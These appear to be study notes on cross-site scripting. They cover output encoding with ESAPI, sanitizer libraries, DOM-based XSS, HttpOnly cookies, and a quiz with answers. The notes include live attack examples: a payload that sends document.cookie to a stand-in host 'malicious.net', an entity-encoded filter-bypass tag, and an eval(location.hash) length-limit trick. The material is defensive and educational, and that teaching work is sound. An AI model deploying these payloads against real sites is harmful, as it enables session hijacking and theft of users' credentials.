  • Let's assume the error.jsp has the following code:
<script>
    var url = document.location;
    url = unescape(url);
    var message = url.substring(url.indexOf('message=') + 8, url
.length);
    document.write(message);
</script>

  • Let's say the attacker feeds the below URL to the user:
http://example.com/error.jsp?message=<script>var+i=new+Image
;+i.src="http://malicious.net/"%2bdocument.cookie;</script>
  • The user clicks on the URL provided and the browser and the client side code in error.jsp contains the malicious Javascript the attacker provided.
  • The users browser executes the Javascript which results in the current session token to be sent to the attacker's website identifed above as "malicious.net". 

The attacker is now free to hijack the users session and gain access to the users personal information or perform actions on his behalf. 

how to identity and prevent XSS attacks
  • perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output.
  • Tools that can be used to scan  (but may offer limited analysis). 
    • Nessus, LAPSE, <TODO>
    • Scrubbr is a BSD-licensed database scanning tool that checks numerous database technologies for the presence of possible stored cross-site scripting attacks.
  •  Turn off HTTP TRACE support on all webservers.
    • Even when document.cookie is disabled or not supported on the client.
    • An HTTP Trace call could be triggered which collects the user's cookie information from the server.
  • Both reflected and stored XSS can be addressed by performing the appropriate validation and escaping on the server-side.
    • Input validation by itself cannot prevent XSS. But it is definately useful and should be employed.
    • Use escaping as the primary defense.
    • However unicode encoding is automatically decoded and provides no defense against attacks. It is important to be consistent and specify the encoding as UTF-8 just to avoid misinterpretations between charsets though.
    • Use an escaping library like ESAPI 
      • Simply encoding data is not enough. it is important to use the escape syntax for the part of the Html document we are putting the data into....
  • Escape the untrusted data that goes in HTML element with HTML entity encoding
    • to prevent switching into any execution context
    • Html elements including <body>, <div>
    • Example:
      • String encoded = ESAPI.encoder().encodeForHTML(request.getParameter( "untrusted" ) );
  • Escape the untrusted data that goes in HTML attributes
    • This does not cover event handlers and other special attributes like src, href, style require special handling
    • String  encoded=ESAPI.encoder().encodeForHTMLAttribute( request.getParameter( "untrusted") );
  • Escape the untrusted data that goes in HTML event handlers and script blocks
    • The only safe place to put untrusted data into this javascript code is inside a quoted "data value" because it requires a corresponding quote to break out of this execution context.
    • there are some JavaScript functions that can never safely use untrusted data as input. For instance window.setInterval.
    • String encoded= ESAPI.encoder().encodeForJavaScript( request.getParameter( "untrusted" ) );
  • Escape the untrusted data that goes in stylesheet or style tag.
    • Just like javascript, there are some CSS contexts that can never take untrusted data even if escaped. For instance, background-url and expression.
    • String  encoded = ESAPI.encoder().encodeForCSS( request.getParameter( "untrusted" ) );
  • Escape the untrusted data that goes in Html URL.
    • Only encode the URL param for URL encoding:
      • String safe = ESAPI.encoder().encodeForURL( request.getParameter( "input" ) );
    • Don't encode complete or relative URLs with URL encoding. We first need to validate it.
      • boolean isValidURL = ESAPI.validator().isValidInput("URLContext", userURL, "URL", 255, false); 
      • if (isValidURL) { <a href="<%=encoder.encodeForHTMLAttribute(userURL)%>">link</a> }
  • Validate or clean user-driven HTML in an outbound way
    • OWASP AntiSamy
  import org.owasp.validator.html.*;
  Policy policy = Policy.getInstance(POLICY_FILE_LOCATION);
  AntiSamy as = new AntiSamy();
  CleanResults cr = as.scan(dirtyInput, policy);
  MyUserDAO.storeUserProfile(cr.getCleanHTML()); // some custom function
  
    • OWASP Java HTML Sanitizer
  import org.owasp.html.Sanitizers;
  import org.owasp.html.PolicyFactory;
  PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS);
  String cleanResults = sanitizer.sanitize("<p>Hello, <b>World!</b>");

DOM based XSS
It is extremely difficult to prevent DOM based XSS attacks because of the large surface area and lack of standardization across browsers.

Rough guidelines to protect against DOM based XSS
  • Always JavaScript encode and delimit untrusted data as quoted strings when entering the application. There are examples referenced below.
  • Use document.createElement(“…”), element.setAttribute(“…”,”value”), element.appendChild(…), etc. to build dynamic interfaces. For setAttribute, follow the restrictions below. 
  • Avoid use of HTML rendering methods: element.innerHTML = “…”; element.outerHTML = “…”; document.write(…); document.writeln(…);
    • Understand the dataflow of untrusted data through your JavaScript code. If you do have to use the methods above remember to HTML and then JavaScript encode the untrusted data.
  • There are numerous methods which implicitly eval() data passed to it. Make sure that any untrusted data passed to these methods is delimited with string delimiters and enclosed within a closure or JavaScript encoded to N-levels based on usage, and wrapped in a custom function.
    • N-Levels of Encoding
      • Depending upon the number of implicit eval(), we have to JS encode the untrusted data that many number of times.
  • Ideally, the correct way to apply encoding is to server-side encode first.
    • var input = “<%=Encoder.encodeForJS(untrustedData)%>”; //server-side encoding
    • window.location = ESAPI4JS.encodeForURL(input); //URL encoding is happening in JS 
    • document.writeln(ESAPI4JS.encodeForHTML(input)); //HTML encoding is happening in JS
    • Note: Don't rely on JS encoding as the client side library could be subverted.
  • Use a level of indirection and avoid using untrusted data as direct object references.
    • CajaJavaScript implementation for "virtual iframes" based on the principles of object-capabilities. Caja takes JavaScript (technically, ECMAScript 5 strict mode code), HTML, and CSS input and rewrites it into a safe subset plus a single JavaScript function with no free variables. Instead of giving direct references to DOM objects, the host page typically gives references to wrappers that sanitize HTML, proxy URLs, and prevent redirecting the page; prevent certain phishing, XSS and downloading malware.
  • Blindly encoding HTML is not enough. Even if we encode HTML that is set in the "value" attribute of an Html tag, it is automatically decoded when we access that value from JavaScript.
  • perfom server side length checks on the input data 
Escape untrusted data in execution context.
  • If we are in the execution context ( for instance within a script) then 
    • first escape the HTML and then
    • escape the javascript
    • Example:
      • element.innerHTML = “<%=Encoder.encodeForJavascript(encoder.encodeForHTML(untrustedData))%>”;
  • While using Html attributes in Javascript context, typically they can be protected by Html Attribute encoding of the untrusted data, followed by Javascript encoding. However in the javascript context, we have the potential to break the data display if we do that. To avoid this:
    • x.setAttribute(“value”, ‘<%=encoder. encodeForJavaScript(untrusted)%>’);
  • The above rule (of escaping javascript) does not work in the event handlers and javascript code subcontexts.
    •  primary recommendation is to avoid including untrusted data in this context. 
    •  Untrusted data that was properly JavaScript encoded but is still dangerous(JavaScript encoding does not stop attacks within an execution context). 
      • x.setAttribute("onclick", "\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032\u0029");
    • Though dangerous, directly setting event handler attributes will allow JavaScript encoding to mitigate against DOM based XSS. 
    • The following DOES WORK because the encoded value is a valid variable name or function reference. "testIt" is JavaScript encoded:
      • document.getElementById("bb").onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074; 
  • When within an execution context ( javascript code), we need to encode the URL followed by Javascript encoding to prevent against attacks in the url field and in setAttribute calls.
    • document.body.style.backgroundImage = "url(<%=encoder.encodeForJavaScript (encoder.encodeForURL(untrusted))%>)";
  • Important: If you use the esapi function encodeForJavaScript() inside document.write, it is advised that you change them with other appropriate esapi functions depending on the context where the data is ultimately landing. For example, if you have document.write(“<script>alert(‘XSS’)</script>”), you know the data is landing in html body context, so it is appropriate to use encodeForHTML() wrapper. Using user input inside eval is less common, but more disastrous. The reason for this is you can still begin another command context using , and (space) char and it won’t be encoded by function encodeForHTML(). So, it is better to avoid putting user input inside eval.
    • The below encodings don't work. Example:
    • <script>
    • document.write("<%= ESAPI.encoder().encodeForJavaScript(vulstr2) %>");
    • eval("u=<%= ESAPI.encoder().encodeForJavaScript(vulstr3) %>");
    • </script>
    • An appropriate encoding is to use HTML encoding in the first case.
HttpOnly flag
With an HttpOnly flag (optional) in the response header, the cookie cannot be accessed through client side script. So, even if a cross-site scripting (XSS) flaw exists, the browser (primarily Internet Explorer) will not reveal the cookie to a third party.
Set-Cookie: <name>=<value>[; <Max-Age>=<age>]
[; expires=<date>][; domain=<domain_name>]
[; path=<some_path>][; secure][; HttpOnly]

Attempts to bypass checks.
  • An attacker can encode portions of the javascript malicious code to hide against any checks. For instance "a" is encoded as UTF-8.
<IMG SRC=j&#X41vascript:alert('test2')>
 
Tips
  • XSS attacks can be carried out without using the <script> tags inside html attributes like onload, onerror etc.
  • Output validation is the most important and is mandatory. Performing strict input validation should be viewed as a secondary failover.
  • White-listed input validation. Data contains only a predefined list of characters.
  • Eliminate dangerous insertion points.
Test
What do we escape and in which order?

<a href=”javascript:myFunction(‘<%=untrusted%>’, 'test');”>Click Me</a> ... <script> Function myFunction (url,name) { window.location = url; } </script>
Answer:
In the above example, untrusted data started in the rendering URL context (href attribute of an <a> tag) then changed to a JavaScript execution context (javascript: protocol handler) which passed the untrusted data to an execution URL subcontext (window.location of myFunction). 
Because the data was introduced in JavaScript code and passed to a URL subcontext the appropriate server-side encoding would be the following: <a href=”javascript:myFunction(‘<%=Encoder.encodeForJavaScript( ? Encoder.encodeForURL(untrustedData))%>’, 'test');”>link</a>

More questions
Questions:
1.What standard "signature" in an application's behavior can be used to identify most instances of XSS vulnerabilities?
 
2.You discover a reflected XSS vulnerability within the unauthenticated area of an application's functionality. State two different ways in which the vulnerability could be used to compromise an authenticated session within the application.
 
3.You discover that the contents of a cookie parameter are copied without any filters or sanitization into the application's response. Can this behavior be used to inject arbitrary JavaScript into the returned page? Can it be exploited to perform an XSS attack against another user?
 
4.You discover stored XSS behavior within data that is only ever displayed back to yourself. Does this behavior have any security significance?
 
5.You are attacking a web mail application that handles file attachments and displays these in-browser. What common vulnerability should you immediately check for?
 
6.How does the same-origin policy impinge upon the use of the Ajax technology XMLHttpRequest? 
 
7. Name three possible attack payloads for XSS exploits (that is, the malicious actions that you can perform within another user's browser, not the methods by which you deliver the attacks).
 
8.You have discovered a reflected XSS vulnerability where you can inject arbitrary data into a single location within the HTML of the returned page. The data inserted is truncated to 50 bytes, but you want to inject a lengthy script. You prefer not to call out to a script on an external server. How can you work around the length limit?
 
9.You discover a reflected XSS flaw in a request that must use the POST method. What delivery mechanisms are feasible for performing an attack?
 
Answers:

1.User-supplied input is returned unmodified within the application’s response to that input. 
2.In most cases, XSS flaws within unauthenticated functionality work just as effectively against authenticated users – the functionality behaves in the same way, resulting in arbitrary JavaScript execution within the context of the authenticated user’s session.

Even if a target user is not logged in at the time of the attack, they may still be compromised. If the application is vulnerable to session fixation, then an attacker can capture their token and wait for them to log in. An attacker can inject code into the login page to capture keystrokes, or even present a Trojan login form which sends their credentials elsewhere. 

3.The answer to the first question is "yes". The behavior of course enables arbitrary JavaScript to be injected via a crafted request. The answer to the second question is "maybe". Historically, various ways have existed of injecting arbitrary HTTP headers into cross-domain requests, to inject a malicious cookie. Older versions of Flash and XMLHttpRequest have been vulnerable in this way. Further, many applications designed to use a cookie will in fact accept the same named parameter in other locations, such as the query string or message body. 

4.In isolation, it appears that this behavior could only ever be used by a user to attack themselves. However, in conjunction with another suitable vulnerability, such as an access control flaw, or cross-site request forgery vulnerability, it could be highly significant, and could enable an attacker to inject stored JavaScript into the pages displayed to other application users. 
5.If the application displays HTML or text files without any sanitization, then JavaScript contained within these will execute within the browser of any user who views the attachment. Further, if a JPEG file contains HTML, then this will be automatically processed as HTML within some browsers. Many web mail applications do not adequately defend against XSS in message attachments. 

6.Because XMLHttpRequest can be used to retrieve the full response from an HTTP request, it can only normally be used to make requests to the same domain as the one that is invoking it. However, HTML5 has introduced the facility for XMLHttpRequest to make cross-domain requests, and retrieve responses, with the permission of the requested domain (see Chapter 13).
7.There are countless different attack payloads for XSS exploits. Some of the more commonly discussed payloads are:

•stealing the session cookie;
•inducing user actions; 
•injecting Trojan functionality; 
•stealing cached autocomplete data; and
•logging keystrokes.

8.You can “convert” the reflected XSS flaw into a DOM-based one. For example, if the vulnerable parameter is called vuln, you can use the following URL to execute an arbitrarily long script:

/script.asp?vuln=<script>eval(location.hash.substr(1))</script>#alert('long script here ......') 

9.If the POST method is mandatory, you cannot simply construct a crafted URL within the application that will execute an attack when a user visits it. However, you can create a third-party web page that submits to the vulnerable application a form using the POST method and the relevant parameters in hidden fields. You can use JavaScript to automatically submit the form when a user views your page.